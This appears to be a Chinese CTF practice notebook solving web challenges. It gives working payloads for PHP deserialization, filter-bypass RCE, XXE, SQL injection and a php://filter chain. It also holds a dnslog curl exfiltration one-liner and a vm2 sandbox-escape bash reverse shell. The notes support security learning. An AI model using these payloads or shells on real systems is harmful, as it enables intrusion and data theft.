日常题目练习

WEB

SWPUCTF 2022 新生赛]ez_ez_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class X
{
public $x = "fllllllag.php";
// function __construct($x)
// {
// $this->x = $x;
// }
function __wakeup()
{
if ($this->x !== *__FILE__*) {
$this->x = "fllllllag.php";
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
$a=new X();
echo serialize($a);

简单的pop链书写,注意写的时候construct会报错,将其注释即可

[鹏城杯 2022]简单的php

这题学到了一些新的知识点

无参

1
2
3
4
5
6
7
8
9
10
11
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);

}

?>

一个无参rce

一个无数字字母rce,好家伙,可是不简单

无参rce没过滤systemhttps://xz.aliyun.com/t/10212#toc-4

system(current(getallheaders()));

结合无数字字母的异或

1
?code=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())); 
1
[!%FF]

来分割

二维数组进行拼接必须有用[!%FF]进行分隔

[UUCTF 2022 新生赛]ez_unser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
show_source(__FILE__);

### #very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
show_source(*__FILE__*);

class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a="ls";
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=new test();
$a->b=&$a->a;
$a->c='system("ls");';
echo serialize($a);

本来想绕过wakeup的,结果正则给限制的死死的,这里利用变量传递,将a的值传递给b

[SWPUCTF 2022 新生赛]numgame

查看源码可进入下一关

/NsScTf.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
static function ctf(){
include("./hint2.php");
}
}
if(isset($_GET['p'])){
if (preg_match("/n|c/m",$_GET['p'], $matches))
die("no");
call_user_func($_GET['p']);
}else{
highlight_file(__FILE__);
}

提示说是post传参,有些疑惑,

post传

p=nss2::ctf

得到flag

FSCTF [ez_eval]

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
if(isset($_GET['word'])){
$word = $_GET['word'];
if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
die("nonono.");
}
$word = str_replace("?", "", $word);
eval("?>". $word);
}else{
highlight_file(__FILE__);
}


多亏了晨曦师傅的指导,本来用的<script${IFS}language=’php’>@eval($_POST[a]);

1
2
3
get:?word=<script%09language='php'>@eval($_POST[shell]);</script>

post:shell=system("cat /flag");

晨曦师傅说${IFS}在bash里才能用

ping无回显

1
2
3
4
5
6
7
8
9
10
11
 <?php

$target = $_GET['ip'] ?? false;

if(!$target) {
highlight_file(__FILE__);
die();
}

shell_exec('ping -c 1 ' . $target);

?ip=aog1cq.dnslog.cn|cat /flllag| while read line; do echo $line.aog1cq.dnslog.cn | xargs curl; done

bzd3p6.dnslog.cn|ls /app| while read line; do echo $line.bzd3p6.dnslog.cn | xargs curl; done

dnslog循坏外带

[CISCN 2019初赛]Love Math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

这个题即有长长的黑名单过滤,还有字符的过滤,麻了。题目描述有数学函数,尝试了一个数学函数

image-20231029204949806

发现正好可以执行,看到题目里给的网站,。里面好多的数学函数利用,猜测主要利用到base_convert()

他可以实现任意进制之间的转换

image-20231029205130112

经过了解哈,最高可以到36进制

36进制,是数据的一种表示方法。同我们日常生活中的表示法不一样。它由0-9,A-Z组成,字母不区分大小写。与10进制的对应关系是:0-9对应0-9;A-F对应10-35。

进制说明:36进制是 0-Z (0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ)。

这个函数的作用是任何进制之间转换数字

这里用大于26的进制就能构造

这里我没想的到的是,这里构造的高进制数字会当作字符串处理,而不是当作数字处理

测试一下,可行转换可以用赛博厨子的frombase解密(就是从36进制转到10进制)

?c=base_convert(55490343972,10,36)()

image-20231029211044492

之后同理,我们拼接system

这里我们可以构造字母那其实构造别的符号可以先构造别的函数实现

这里用这两个

1
2
3
4
dechex()函数:
可以将十进制转换为十六进制
hex2bin()函数:
可以将十六进制转换为ascii码

那么单引号就是

?c=base_convert(37907361743,10,36)(27)

这里想办法构造一个参数传入点,类似$_GET[1]这样

这里_ 和 []过滤了 因此要用前面小数点的方法构造

为了省长度 一次性把_GET都构造出来

[被过滤了 可以用{代替 就不用构造了 同样$没过滤 直接用就行

base_convert(37907361743,10,36)(dechex(1598506324))image-20231029211738989

下面想办法传入$_GET(1)

?c=$kkk=base_convert(37907361743,10,36)(dechex(1598506324));($$kkk){1}

思路是先传入一个变量kkk,再用$$kkk等价于与$_GET

这里发现之前不是什么字母都能用的,把kkk换成白名单了随便一个

c=$cos=base_convert(37907361743,10,36)(dechex(1598506324));($$cos){1}

先试试phpinfo()

这里利用变量执行函数,利用了php7的特性

1
2
($a)($b)   //这里a是一个字符串,内容是一个函数名//b也是字符串,内容是参数$a='print_r'$b='test'//对于无参数函数
$a='phpinfo'$a()
1
2
3
4
5
6
7
8
9
10
11
//无法输出
<?php
$a='phpinfo()';
($a)
?>

//正常输出
<?php
$a='phpinfo';
($a)()
?>

所以我们为了后面能执行,要传入两个变量 一个是函数名 一个是参数

?c=$cos=base_convert(37907361743,10,36)(dechex(1598506324));($$cos){1}(($$cos){2})

测试

最终payload:?c=$cos=base_convert(37907361743,10,36)(dechex(1598506324));($$cos){1}(($$cos){2})&1=system&2=tac%20/flag

image-20231029212838216

[CSAWQual 2019]Unagi

存在xxe漏洞

文件上传恶意的xml文件读取法拉格

]>


bob
passwd2
Bob
bob@fakesite.com
CSAW2019
&xxe;

上传会显示不允许上传

编码一下iconv -f UTF-8 -t UTF-16BE 1.xml > 2.xml

image-20231211171623347

上传2.xml即可得出法拉格

[羊城杯 2020]Blackcat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);


MP3文件里看到文件

本地测试一下绕过hash_hmac

hash_hmac() 使用 HMAC 方法生成带有密钥的哈希值

参数 必需的 描述
algo 要使用的哈希算法名称,例如:“md5”,“sha256”,“haval160,4” 等。 如何获取受支持的算法清单,请参见 hash_hmac_algos() 函数。
data 要进行哈希运算的消息。
key 使用 HMAC 生成信息摘要时所使用的密钥。
raw_output 设置为 TRUE 输出原始二进制数据, 设置为 FALSE 输出小写 16 进制字符串。

值对应相等就好,

image-20231212174036564

Black-Cat-Sheriff=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395&One-ear=;grep } f*&White-cat-monitor[]=1

[NISACTF 2022]hardsql

quine注入

1
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

原本的payload登录显示wafhere

我原本你也不知道过滤了啥

最后发现是char被过滤

可以换成chr

发现也不行

后来看了可以传承16进制

char(34)->0x22

char(39)->0x27

char(46)->0x2e

‘//union//select//replace(replace(‘“//union//select//replace(replace(“%”,0x22,0x27),0x2e,”%”)#’,0x22,0x27),0x2e,’”//union//select/**/replace(replace(“%”,0x22,0x27),0x2e,”%”)#’)#

username=bilala&passwd=’//union//select//replace(replace(‘“//union//select//replace(replace(“%”,0x22,0x27),0x25,”%”)#’,0x22,0x27),0x25,’”//union//select/**/replace(replace(“%”,0x22,0x27),0x25,”%”)#’)#&login=登录

[强网杯 2019]随便注

堆叠注入 预处理语句 重命名

想试sqlmap来着没出来。。。。

源码里写了sqlmap是没有灵魂的

万能语句试一下

1’ or ‘1’=’1条件永真

会打印出信息

image-20231214165112277

1
1';show databases;#

查看所有数据库

image-20231214165427913

1
1';show tables;#

查看表

image-20231214165456788

猜测在那串数字表里

看看表里有哪些列,看到flag

1
1';desc `1919810931114514`;#

image-20231214165728329

1
?inject=1';prepare Q1ngchuan from concat('sel','ect',' * from `1919810931114514` ');execute Q1ngchuan;#

Q1ngchuan为变量 execute为执行这个变量

prepare 被过滤 可以用set

1’;set @sqli=concat(char(115,101,108,101,99,116),’ * from 1919810931114514 ‘);prepare hacker from @sqli;execute hacker;#

1
inject=1';prepare Q1ngchuan from concat(char(115,101,108,101,99,116),' * from `1919810931114514` ');execute Q1ngchuan;#

1’;rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

1
1';alter table words rename words1;alter table `1919810931114514` rename words;alter table words change flag id varchar(60);#

改完表名,换完数据之后

1
1' or '1'='1

永真输出words下的内容

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

这是一个例子

HANDLER tbl_name OPEN [ [AS] alias]
 
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
 
HANDLER tbl_name CLOSE

更多可参考MySQL :: MySQL 8.0 Reference Manual :: 13.2.4 HANDLER Statement

所以按照这个重新构造payload

0’;HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

得到flag

[FBCTF 2019]rceservice

让输入json格式

json格式

1
cmd={%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0a}

[NSSRound#8 Basic]MyPage

前期判断出现Apache/2.4.38 (Debian) Server at node1.anna.nssctf.cn Port 28289

猜测网站根目录在/var/www/html目录下

根据url猜测可以读取文件

尝试利用为协议读,发现不行

多次尝试猜测是require_once()

一个文件就包含一次,多次包含会出错

搜索绕过方法:

先来了解一下PHP文件包含机制:

php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,正常情况下,PHP会将用户输入的文件名进行resolve,转换成标准的绝对路径,这个转换的过程会将…/、./、软连接等都进行计算,得到一个最终的路径,再进行包含。如果软连接跳转的次数超过了某一个上限,Linux的lstat函数就会出错,导致PHP计算出的绝对路径就会包含一部分软连接的路径,也就和原始路径不相同的,即可绕过include_once限制。

新知识点

1
2
3
4
/proc/self指向当前进程的/proc/pid/,
/proc/self/root/是指向/的符号链接

cwd 文件是一个指向当前进程运行目录的符号链接

在Linux下,最常见的软连接就是/proc/self/root,这个路径指向根目录。所以,我们可以多次使用这个路径。

/proc 目录即保存在系统内存中的信息,大多数虚拟文件可以使用文件查看命令如cat、more或者less进行查看,有些文件信息表述的内容可以一目了然,但也有文件的信息却不怎么具有可读性。

/proc 目录中包含许多以数字命名的子目录,这些数字表示系统当前正在运行进程的进程号(PID),里面包含对应进程相关的多个信息文件:

[NSSRound#8 Basic]MyDoor

1
N[S.S=system("env");
1
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=index.php&0=cat+/proc/self/environ

[CISCN 2022 初赛]ezpop

www.zip得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

namespace think {
abstract class Model
{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = '')
{
$this->lazySave = True;
$this->data = ['whoami' => ['cat /nssctfflag']];# 这里需要自己进行更改!!!
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami', ['whoami']];
$this->jsonAssoc = True;
}
}
}

namespace think\model {

use think\Model;

class Pivot extends Model
{
}
}

namespace {
echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

[安洵杯 2019]JustBase

1
2
VGhlIGdlb@xvZ#kgb@YgdGhlIEVhcnRoJ#Mgc#VyZmFjZSBpcyBkb@!pbmF)ZWQgYnkgdGhlIHBhcnRpY#VsYXIgcHJvcGVydGllcyBvZiB#YXRlci$gUHJlc@VudCBvbiBFYXJ)aCBpbiBzb@xpZCwgbGlxdWlkLCBhbmQgZ@FzZW(!cyBzdGF)ZXMsIHdhdGVyIGlzIGV$Y@VwdGlvbmFsbHkgcmVhY#RpdmUuIEl)IGRpc#NvbHZlcywgdHJhbnNwb#J)cywgYW%kIHByZWNpcGl)YXRlcyBtYW%%IGNoZW!pY@FsIGNvbXBvdW%kcyBhbmQgaXMgY@(uc#RhbnRseSBtb@RpZnlpbmcgdGhlIGZhY@Ugb@YgdGhlIEVhcnRoLiBFdmFwb#JhdGVkIGZyb@)gdGhlIG(jZWFucywgd@F)ZXIgdmFwb#IgZm(ybXMgY@xvdWRzLCBzb@!lIG(mIHdoaWNoIGFyZSB)cmFuc#BvcnRlZCBieSB#aW%kIG(@ZXIgdGhlIGNvbnRpbmVudHMuIENvbmRlbnNhdGlvbiBmcm(tIHRoZSBjbG(!ZHMgcHJvdmlkZXMgdGhlIGVzc@VudGlhbCBhZ@VudCBvZiBjb@%)aW%lbnRhbCBlcm(zaW(uOiByYWluLlRoZSByYXRlIGF)IHdoaWNoIGEgbW(sZWN!bGUgb@Ygd@F)ZXIgcGFzc@VzIHRob#VnaCB)aGUgY#ljbGUgaXMgbm()IHJhbmRvbQpBbmQgdGhlIGZsYWcgaXM^IENURnsyMi!RV)VSVFlVSU*tUExLSkhHRkRTLUFaWENWQk%NfQ==

直接用文本替换将!@#$%^*()换成键盘对应数字进行base64解码

[NSSRound#7 Team]ec_RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP

if(!isset($_POST["action"]) && !isset($_POST["data"]))
show_source(__FILE__);

putenv('LANG=zh_TW.utf8');

$action = $_POST["action"];
$data = "'".$_POST["data"]."'";

$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
echo $output;
?>

直接action=;cat /flag

我都没太明白怎么出的。。。

[GKCTF 2020]cve版签到

%00截断加ssrf

url=http://127.0.0.123%00.ctfhub.c

WEB-CTFShow-菜狗杯-我的眼里只有$

1
2
3
4
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

通过阅读源码,我们可以发现共有36个$符号,也就是说需要构造36层取值,且第一层必须是’_’相当于36层赋值后执行

1
2
3
4
5
6
7
8
9
10
11
12

$str="_=__";
$res="";
echo "_=__&";
for ($i=0; $i < 34; $i++) {
$str="_".$str."_";
echo $str."&";
if($i==33){
echo explode("=", $str)[1]."=eval(\$_GET[1]);";
}
}

[October 2019]Twice SQL Injection

先登录山峰

xxx‘ union select database()#

xxx’ union select group_concat(table_name) from information_schema.tables where table_schema=’ctftraining’ #

xxx’ union select group_concat(table_name) from information_schema.tables where table_schema=’ctftraining’ #

xxx’ union select group_concat(flag)from flag#

[西湖论剑 2022]Node Magical Login

main.js部分源码

1
2
3
4
5
6
7
8
9
10
11
app.get("/flag1",(req,res) => {
controller.Flag1Controller(req,res)
})

app.get("/flag2",(req,res) => {
controller.CheckInternalController(req,res)
})

app.post("/getflag2",(req,res)=> {
controller.CheckController(req,res)
})

看源码有两部分flag应该

再烂看controller.js部分源码

1
2
3
4
5
6
7
8
9
10
11
12
function LoginController(req,res) {
try {
const username = req.body.username
const password = req.body.password
if (username !== "admin" || password !== Math.random().toString()) {
res.status(401).type("text/html").send("Login Failed")
} else {
res.cookie("user",SECRET_COOKIE)
res.redirect("/flag1")
}
} catch (__) {}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}

可以看到,cookie里user值为admin才会设置session,并且可以得到flag1

image-20231229234039451

NSSCTF{94784282-c4ee

接下来看flag2部分

看到在登录界面Math.random(),密码符合这样才能flag2

看一下和flag2相关的

1
2
3
function CheckInternalController(req,res) {
res.sendFile("check.html",{root:"static"})
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}

这里如果传个 array 进去的话,调用 .toLowerCase() 用法会报错 Uncaught TypeError: checkcode.toLowerCase is not a function,但是捕获异常这里直接就能跳过了

注:这里要用json格式发送checkcode, 同时 更改Content-Type: application/json,数组要有16位
image-20231229235819983

NSSCTF{94784282-c4ee-4d3d-a48b-27c47a753c83}

RCE但是没有完全RCE

image-20240113152429646

[HZNUCTF 2023 final]eznode(VM原型链污染)

app.js源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}


app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});

app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})

app.listen(3000, function () {
console.log('start listening on port 3000');
});


通过分析源码可知是nodejs的vm框架

引用了vm2,有JSON.parse解析,并且存在merge方法,clone调用了merge,存在原型链污染漏洞

backdoor方法new VM().run({}.shellcode); 可以利用原型链污染到shellcode,进而rce

vm2 原型链污染导致沙箱逃逸 poc:

1
2
3
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

想进backdoor首先满足if (copybody.shit)

1
2
{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"').toString();"}} 

image-20240122193409623

[NCTF 2019]Fake XML cookbook

简单的xxe实体注入

1
2
3
4
5
?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE example [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>password</password></user>

[NCTF 2018]Easy_Audit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('waf..');
}
}

if($_SERVER){
if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..');
}

if(isset($_GET['yulige'])){
if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){ //日爆md5!!!!!!
die('waf..');
}else{
if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === 'ccc_liubi'){
include 'flag.php';
echo $flag;
}else die('waf..');
}
}


?>

第一层变量覆盖,post检查优先级比其他高,在post输入数字即可绕过

第二层

$_SERVER['QUERY_STRING'] 这里的bypass,这个点应该是比较常见的了,$_SERVER['QUERY_STRING'] 获取的值是未经urldecode的,所以直接编码一下就好了

1
$_SERVER['QUERY_STRING']

这个全局变量中的QUERY_STRING是获取url中?后面的部分

1
http:``//localhost/aaa/index.php?p=222&q=333<br>结果:``$_SERVER``[``'QUERY_STRING'``] = ``"p=222&q=333"``;``$_SERVER``[``'REQUEST_URI'``] = ``"/aaa/index.php?p=222&q=333"``;``$_SERVER``[``'SCRIPT_NAME'``] = ``"/aaa/index.php"``;``$_SERVER``[``'PHP_SELF'``]   = ``"/aaa/index.php"``;

第三层,数组绕过就行,都为空

第四层,既要有nctf,又不能等于nctf,随便加一点字符串就可以

第五层,利用data伪协议即可得到flag

1
?%79ulige[]=&nct%66=a%6e%63%74%66%69%73%66%75%6e&%66lag=data://text/plain;base64,Y2NjX2xpdWJp
1
nctf=1&flag=1

[羊城杯 2020]easyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>

